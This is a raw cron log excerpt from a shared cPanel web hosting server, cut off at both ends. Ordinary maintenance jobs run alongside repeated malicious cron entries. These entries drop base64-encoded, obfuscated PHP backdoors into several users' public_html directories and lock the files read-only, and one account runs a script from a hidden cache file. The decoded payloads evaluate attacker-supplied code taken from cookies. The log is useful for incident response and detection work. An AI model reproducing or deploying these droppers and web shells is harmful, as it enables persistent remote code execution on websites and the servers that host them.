iAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:43:01 medusa CROND[14097]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 13:43:01 medusa CROND[14098]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:43:01 medusa CROND[14099]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:43:01 medusa CROND[14104]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:43:01 medusa CROND[14106]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:43:01 medusa CROND[14108]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:44:02 medusa CROND[6486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:44:02 medusa CROND[6598]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:44:02 medusa CROND[6599]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:44:02 medusa CROND[6603]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:44:02 medusa CROND[6604]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:44:02 medusa CROND[6606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:44:02 medusa CROND[6609]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:44:02 medusa CROND[6612]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:44:02 medusa CROND[6613]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:44:02 medusa CROND[6618]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:44:02 medusa CROND[6620]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:44:02 medusa CROND[6622]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:44:02 medusa CROND[6619]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:45:01 medusa CROND[31090]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:45:01 medusa CROND[31104]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:45:02 medusa CROND[31280]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 13:45:02 medusa CROND[31281]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:45:02 medusa CROND[31282]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:45:02 medusa CROND[31283]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:45:02 medusa CROND[31284]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:45:02 medusa CROND[31285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:45:02 medusa CROND[31286]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:45:02 medusa CROND[31290]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:45:02 medusa CROND[31296]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:45:02 medusa CROND[31301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:45:02 medusa CROND[31294]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:45:02 medusa CROND[31295]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:45:02 medusa CROND[31305]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKS